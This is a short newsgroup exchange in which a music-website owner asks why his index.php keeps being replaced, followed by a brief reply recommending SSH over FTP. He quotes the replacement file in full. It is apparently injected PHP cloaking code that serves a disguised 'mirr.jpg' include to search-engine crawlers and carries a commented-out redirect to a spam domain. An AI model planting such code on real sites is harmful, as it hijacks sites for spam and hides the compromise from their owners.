On 31/05/2018 14:14, Michael Kilpatrick wrote:
> For anyone who might have an idea, please....
>
> My
ellington-music.co.uk website is suffering repeated attacks of some
> sort in which my main index.php file is being replaced by something else.
>
> I use PHP and MySQL for the menu system and for dynamically generating
> the content, so it uses various routines defined in other PHP files too,
> and loads up the various contents from a selection of text/HTML files.
>
> For the last couple of months I have found that every couple of weeks
> the index.php file has been replace by the following short file.
>
> By what possible mechanisms could that be happening other than by
> knowing my FTP password? What sort of hacks might allow the injection of
> this file?
>
> Is there a good newsgroup for this sort of question?
>
> My band website
harmonyinharlem.co.uk is mapped to a subdomain of the
> same hosting package but that has never been corrupted in the same way,
> ever.
>
>
>
> <?php
> function getAgent(){
> $user_agent=$_SERVER['HTTP_USER_AGENT'];
> $from=@$_SERVER['HTTP_FROM'];
> $spider_array=array("google","yahoo","bing");
> for($i=0;$i<count($spider_array);$i++){
> if(stristr($user_agent,$spider_array[$i]) &&
> stristr($from,$spider_array[$i])) return true;
> }
> return false;
> }
> function getReferrer(){
> $page_from=@$_SERVER['HTTP_REFERER'];
> $search_array=array("google","yahoo","bing");
> for($i=0;$i<count($search_array);$i++){
> if(stristr($page_from,$search_array[$i])) return true;
> }
> return false;
> }
> if(getReferrer() && $_SERVER['REQUEST_URI']=='/'){
> //header('Location:
http://www.timberlandzone.com/#domain');
> //exit();
> }
> if(getAgent() && $_SERVER['REQUEST_URI']=='/'){
> require("images/mirr.jpg");
> exit;
> }
> require("index.html");
> ?>
My limited experience of low end boxes (2 months) suggests you need an
ssh connection and not ftp which is easily hacked. Am willing to help
but perhaps by now you've found a solution.
PB